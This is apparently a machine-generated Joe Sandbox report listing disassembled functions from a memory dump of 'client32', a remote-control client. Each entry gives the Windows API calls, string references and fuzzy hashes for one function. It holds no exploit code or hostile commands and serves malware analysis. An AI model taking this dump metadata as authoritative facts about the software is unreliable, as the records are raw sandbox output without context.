Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$Class_memset$CreateDestroyInfoRectRegister
String ID: NSMChatSizeWnd
API String ID: 2883038198-4119039562
Opcode ID: 278526c9658a69e7a40e6cb25d6626fde906cf365c21d4dc24fc7d5a55472854
Instruction ID: dcbcbcf091995d4067a9012f4e3e9d0ed9d195d12c757acb72af4b7ecf5f03b9
Opcode Fuzzy Hash: 278526c9658a69e7a40e6cb25d6626fde906cf365c21d4dc24fc7d5a55472854
Instruction Fuzzy Hash: D63180B5D0121DAFCB10DFA5DDC4AEEFBB8EB48318F20456EF925A3240D73569018B61

Function 110094B0 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 92fileCOMMON

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 110094EA
_strncmp.LIBCMT ref: 110094FA
WriteFile.KERNEL32(00000000,?,?,00000000,00000000,?,?,?,?,?,?,?,DC70C1FE), ref: 1100959B

Strings

http://, xrefs: 110094E5, 110094F8
IsA(), xrefs: 11009555, 1100957D
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 11009550, 11009578
<tr><td valign="middle" align="center"><p align="center"><img border="0" src="%s" align="left" width="16"> </p></td><td><p align="left"><font face="Verdana, Arial, Helvetica, sans-serif" size="2"><a>%s</a></font></p></td><td> </td><td , xrefs: 11009521
https://, xrefs: 110094DF

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strncmp$FileWrite
String ID: <tr><td valign="middle" align="center"><p align="center"><img border="0" src="%s" align="left" width="16"> </p></td><td><p align="left"><font face="Verdana, Arial, Helvetica, sans-serif" size="2"><a>%s</a></font></p></td><td> </td><td $IsA()$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$http://$https://
API String ID: 1635020204-3154135529
Opcode ID: 35d060acf12ccdd480c04a845a76d973b580c562fc5caea60c424b02d90a38e1
Instruction ID: d20e6e8e82cea177770e9d14c68faf5d1120bac870e30f80c07a18668992f196
Opcode Fuzzy Hash: 35d060acf12ccdd480c04a845a76d973b580c562fc5caea60c424b02d90a38e1
Instruction Fuzzy Hash: 71315C75E0065AABDB00DF95DC84FDEB7B8EF49658F004259E825A7280EB35A604CBA1

Function 1114F1D0 Relevance: 13.6, APIs: 9, Instructions: 128windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 1114F203
CreateCompatibleDC.GDI32(00000000), ref: 1114F219
SelectPalette.GDI32(00000000,?,00000000), ref: 1114F2FF
CreateDIBSection.GDI32(00000000,00000028,00000000,?,00000000,00000000), ref: 1114F327
SelectObject.GDI32(00000000,00000000), ref: 1114F33B
SelectObject.GDI32(00000000,?), ref: 1114F361
SelectPalette.GDI32(00000000,?,00000000), ref: 1114F371
DeleteDC.GDI32(00000000), ref: 1114F378
ReleaseDC.USER32(00000000,?), ref: 1114F387

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Select$CreateObjectPalette$CompatibleDeleteReleaseSection
String ID:
API String ID: 602542589-0
Opcode ID: f9837fefdf0f1fbb5651e24b3a8078af4e21e61c33b31645051b8c91f3a50013
Instruction ID: f8b28bdea48ec2611b1f91f2bbafde9b68da4a4719e2569757cfb30afdba7c1c
Opcode Fuzzy Hash: f9837fefdf0f1fbb5651e24b3a8078af4e21e61c33b31645051b8c91f3a50013
Instruction Fuzzy Hash: 7851DAF5E012299FDB60DF28CD8479DBBB9EF88604F5091EAE609E3240D7705A81CF59

Function 1100D3B0 Relevance: 13.6, APIs: 9, Instructions: 75libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,111918F0), ref: 1100D3C4
GetProcAddress.KERNEL32(00000000,111918E0), ref: 1100D3D8
GetProcAddress.KERNEL32(00000000,111918D0), ref: 1100D3ED
GetProcAddress.KERNEL32(00000000,111918C0), ref: 1100D401
GetProcAddress.KERNEL32(00000000,111918B4), ref: 1100D415
GetProcAddress.KERNEL32(00000000,11191894), ref: 1100D42A
GetProcAddress.KERNEL32(00000000,11191874), ref: 1100D43E
GetProcAddress.KERNEL32(00000000,11191864), ref: 1100D452
GetProcAddress.KERNEL32(00000000,11191854), ref: 1100D467

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 2be2e3181ad7e37179dd4622537a04b9d19e6dc6cc5aab668c0a44b38469d94a
Instruction ID: 9f027eddd4dddc581f186f25ec93b792fa700742cd5a4619bf017c7ec0e1ed24
Opcode Fuzzy Hash: 2be2e3181ad7e37179dd4622537a04b9d19e6dc6cc5aab668c0a44b38469d94a
Instruction Fuzzy Hash: 4B31BBB59122349FE706DBE4C8D5A76B7E9E34C758F00857AE93083248D7F4A881CFA0

Function 1106D060 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,DC70C1FE,?,?,?), ref: 1106D0E2
SetEvent.KERNEL32(?,?,00000000,1106AF10,?,?,?,?,?), ref: 1106D1C2

Strings

erased=%d, idata->dead=%d, xrefs: 1106D293
Deregister NC_CHATEX for conn=%s, q=%p, xrefs: 1106D0C5
..\ctl32\Connect.cpp, xrefs: 1106D2AA

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalEnterEventSection
String ID: ..\ctl32\Connect.cpp$Deregister NC_CHATEX for conn=%s, q=%p$erased=%d, idata->dead=%d
API String ID: 2291802058-2272698802
Opcode ID: 4c4459f730ece1a7db6b629c2ae3fc9ade6f363c06eb62c3d438a519b44550e4
Instruction ID: b22ba82a88fbe9628385044aa67eb00d20c4b44079c4ac5070634ae5489f2a97
Opcode Fuzzy Hash: 4c4459f730ece1a7db6b629c2ae3fc9ade6f363c06eb62c3d438a519b44550e4
Instruction Fuzzy Hash: EE71BC70E00286EFEB15CF64C884F9DBBF9AB04314F0481D9E44A9B291D770E9C5CB90

Function 1101D550 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

InflateRect.USER32(?,000000FF,000000FF), ref: 1101D5C4
InflateRect.USER32(?,000000FF,000000FF), ref: 1101D5F4
InflateRect.USER32(?,000000FF,000000FF), ref: 1101D618
GetBkColor.GDI32(?), ref: 1101D61E
GetTextColor.GDI32(?), ref: 1101D6A5

Strings

VUUU, xrefs: 1101D6F0
VUUU, xrefs: 1101D656

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InflateRect$Color$Text
String ID: VUUU$VUUU
API String ID: 1214208285-3149182767
Opcode ID: ce653334c1269ec63752947323ce46a0191a89749b5b5a7eff72ef3103528f33
Instruction ID: 77e576ce41c6bbc1f275e9696d100ffe4c5213a4300096d6b7fb60596d00f56b
Opcode Fuzzy Hash: ce653334c1269ec63752947323ce46a0191a89749b5b5a7eff72ef3103528f33
Instruction Fuzzy Hash: A0617075E0021A9BCB04CFA8C881AAEF7F5FF98324F148629E415E7385D634FA05CB94

Function 110B3590 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

Part of subcall function 1110C520: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,76EEC3F0,?,1110D1BD,00000000,00000001,?,?,?,000000FF,?,11026F57), ref: 1110C53E

Part of subcall function 1110C420: wsprintfA.USER32 ref: 1110C454
Part of subcall function 1110C420: _memset.LIBCMT ref: 1110C477

InitializeCriticalSection.KERNEL32(0000002C,?,?,?,?,?,?,?,00000000,111814A6,000000FF), ref: 110B3615
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,00000000,111814A6,000000FF), ref: 110B361F
GetVersion.KERNEL32(?,?,?,?,?,?,?,00000000,111814A6,000000FF), ref: 110B363A
std::exception::exception.LIBCMT ref: 110B3689
__CxxThrowException@8.LIBCMT ref: 110B369E
std::_Xinvalid_argument.LIBCPMT ref: 110B36ED

Strings

vector<T> too long, xrefs: 110B36E8

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateEvent$CriticalException@8InitializeSectionThrowVersionXinvalid_argument_memsetstd::_std::exception::exceptionwsprintf
String ID: vector<T> too long
API String ID: 3908453871-3788999226
Opcode ID: a19368b116d5de523ae4107eef672715f039439dabb1407ef6e56aff718b5f08
Instruction ID: 38b2c4dcff0dedf9a92b00eefd602a69c273a846f0a1c46fad91db0527ff3e0a
Opcode Fuzzy Hash: a19368b116d5de523ae4107eef672715f039439dabb1407ef6e56aff718b5f08
Instruction Fuzzy Hash: A6514EB5D04705AFC714DF69C880AAAFBF8FB48704F50892EE55A97740EB74A904CBA0

Function 11065430 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 107timeCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,DC70C1FE,?,?,?), ref: 11065470
SetEvent.KERNEL32 ref: 1106549A
timeGetTime.WINMM ref: 110654D3
InterlockedDecrement.KERNEL32(?), ref: 110654F0
_free.LIBCMT ref: 11065578
LeaveCriticalSection.KERNEL32(?), ref: 11065581

Strings

Unpausing sessionz %dz, rxpending = %d, lag = %d, pausedfor %d ms, xrefs: 1106554E

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$DecrementEnterEventInterlockedLeaveTime_freetime
String ID: Unpausing sessionz %dz, rxpending = %d, lag = %d, pausedfor %d ms
API String ID: 1154861362-2729525473
Opcode ID: d77fa92413a1a65b302bc16da95b1b73e0b8ab402638c7d2822101c89923dd69
Instruction ID: 3b3d7615ea4610ef5d080b5e58bc799fd5b460a4b46124fee3b0225fd41c603b
Opcode Fuzzy Hash: d77fa92413a1a65b302bc16da95b1b73e0b8ab402638c7d2822101c89923dd69
Instruction Fuzzy Hash: B4418775A00A059FD715CF64C998BAAFBF9FB48348F00855DE82AC7254C731FA00CBA1

Function 1100F2D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 1100F2FD
std::_Lockit::_Lockit.LIBCPMT ref: 1100F320
std::bad_exception::bad_exception.LIBCMT ref: 1100F3A4
__CxxThrowException@8.LIBCMT ref: 1100F3B2
std::_Lockit::_Lockit.LIBCPMT ref: 1100F3C5
std::locale::facet::_Facet_Register.LIBCPMT ref: 1100F3DF

Strings

bad cast, xrefs: 1100F39C

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2427920155-3145022300
Opcode ID: 801cc3ce022a6b056ddab743a2237e93a357ff3796620844a7456d523b295f49
Instruction ID: d39dcf25abbe8801d5c0a0784b2024497f923947b746a9a7221ebbb3b7ea5b8b
Opcode Fuzzy Hash: 801cc3ce022a6b056ddab743a2237e93a357ff3796620844a7456d523b295f49
Instruction Fuzzy Hash: 6F31BF75D042659FDB55DF98C880BAEF7B4EB053B8F40826DD822A7290DB31B904DB92

Function 110310B0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(Kernel32.dll,DC70C1FE,?,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 110310E2
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,11186B98,000000FF,?,110311BB), ref: 11031120
GetProcAddress.KERNEL32(00000000,ProcessIdToSessionId), ref: 1103112E
SetLastError.KERNEL32(00000078,?,?,?,?,?,?,?,?,?,?,00000000,11186B98,000000FF,?,110311BB), ref: 11031146
FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00000000,11186B98,000000FF,?,110311BB), ref: 11031154

Strings

ProcessIdToSessionId, xrefs: 11031126
Kernel32.dll, xrefs: 110310DA

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$AddressCurrentErrorFreeLastLoadProcProcess
String ID: Kernel32.dll$ProcessIdToSessionId
API String ID: 1613046405-2825297712
Opcode ID: f4f0926271d226468653afaa46d6990833a17734d1eaad82ad6fde684afcfe5d
Instruction ID: dbcb6794e105daa586ddc3bbf804ff67aea9c2c21b85bbe8f4e4c15c2f8116d0
Opcode Fuzzy Hash: f4f0926271d226468653afaa46d6990833a17734d1eaad82ad6fde684afcfe5d
Instruction Fuzzy Hash: 9621A2B1D21269AFCB01DF99D884A9EFFB8FB49B15F10852BF521E3244D7B419018FA1

Function 11017670 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 67libraryloaderCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,DC70C1FE), ref: 1101769E
LoadLibraryA.KERNEL32(Kernel32.dll), ref: 110176AE
GetProcAddress.KERNEL32(00000000,QueueUserWorkItem), ref: 110176F2
SetLastError.KERNEL32(00000078), ref: 1101770D
FreeLibrary.KERNEL32(00000000), ref: 11017718

Strings

QueueUserWorkItem, xrefs: 110176E9
Kernel32.dll, xrefs: 110176A4

Memory Dump Source

